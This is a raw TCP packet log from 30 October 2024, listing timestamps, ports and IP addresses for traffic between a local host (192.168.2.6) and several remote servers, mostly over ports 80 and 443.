Oct 30, 2024 15:59:09.979403973 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.979794979 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.979811907 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.979826927 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.979832888 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.983347893 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.983366013 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.983473063 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.983666897 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.983680964 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.994091034 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.994105101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.994127035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.994182110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.994214058 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.003421068 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.003587008 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.004343033 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.004616022 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.004633904 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.004650116 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.004654884 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.007631063 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.007828951 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.007944107 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.007961035 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.007972002 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.007992029 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.007998943 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.008023977 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.008030891 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.008059978 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.008238077 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.008250952 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.009423018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009433031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009450912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009495974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.009530067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.009634972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009654045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009673119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009681940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.009694099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009696960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.009708881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009721994 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.009737968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.009752035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.009958029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.009977102 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.010004044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.010015965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.010349035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.010361910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.010402918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.010411024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.010413885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.010425091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.010442972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.010447979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.010463953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.010488033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.010941029 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.010958910 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.011022091 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.011157990 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.011171103 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.067790031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.067814112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.067832947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.067862988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.067873001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.067884922 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.067894936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.067908049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.067912102 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.067949057 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.067991018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068037033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068093061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068139076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068170071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068182945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068202972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068217039 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068253040 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068274975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068320036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068583012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068625927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068630934 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068635941 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068661928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068680048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068759918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068773031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.068809032 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.068819046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069008112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069024086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069051981 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069061995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069138050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069149971 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069183111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069191933 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069195032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069214106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069222927 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069247961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069279909 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069302082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069323063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069339991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069855928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069868088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.069911003 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.069983006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.070029020 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.085180044 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.085243940 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.085293055 CET	49728	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.085506916 CET	49728	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.085525036 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.085536957 CET	49728	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.085542917 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.088335991 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.088355064 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.088433027 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.088599920 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:10.088609934 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:10.110937119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.110949039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.110970020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.111006021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.111031055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.111134052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.111179113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.126436949 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.126461029 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.126478910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.126490116 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.126492977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.126508951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.126512051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.126533985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.126563072 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127281904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127294064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127320051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127336979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127347946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127362013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127440929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127451897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127471924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127489090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127492905 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127516031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127517939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127526999 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127537966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127549887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127554893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127564907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.127574921 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127588987 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.127609015 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.184431076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184443951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184463024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184494972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.184525013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.184693098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184704065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184722900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184734106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184745073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.184765100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.184786081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.184822083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184834003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184854984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.184864044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.184881926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.184892893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185064077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185074091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185110092 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185116053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185122013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185153008 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185163021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185235977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185247898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185287952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185451984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185463905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185487986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185497999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185507059 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185529947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185785055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185797930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185832977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185844898 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185883045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185900927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.185931921 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.185945988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.186012983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186027050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186047077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186058998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186068058 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.186080933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186091900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.186125994 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.186167955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186178923 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186198950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186212063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.186263084 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.186728954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186741114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186760902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.186783075 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.186804056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.222337008 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:10.222364902 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:10.222448111 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:10.223119974 CET	49736	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:10.223130941 CET	443	49736	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:10.228152037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.228216887 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.229329109 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.229379892 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248143911 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248155117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248173952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248218060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248226881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248246908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248256922 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248276949 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248341084 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248369932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248390913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248402119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248414040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248425007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248435974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248454094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248476982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248747110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248759031 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248775959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248788118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248795986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248805046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248806953 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.248826027 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248840094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.248857975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.301995039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302009106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302032948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302043915 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302058935 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302062988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302084923 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302093029 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302098989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302113056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302131891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302148104 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302273035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302326918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302522898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302539110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302565098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302578926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302586079 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302586079 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302593946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302608013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302609921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302633047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302634954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302633047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302658081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302671909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302702904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302720070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302740097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.302759886 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.302789927 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303040981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303052902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303072929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303098917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303128958 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303194046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303209066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303225040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303236008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303246975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303255081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303267002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303271055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303288937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303291082 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303333044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303333044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303466082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303478956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303518057 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303548098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303838968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303857088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.303885937 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.303915024 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.304013014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.304061890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365001917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365020037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365040064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365078926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365123987 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365135908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365159035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365173101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365183115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365184069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365190983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365206003 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365238905 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:10.365341902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:10.365351915 CET	80	49710	185.215.113.206	192.168.2.6
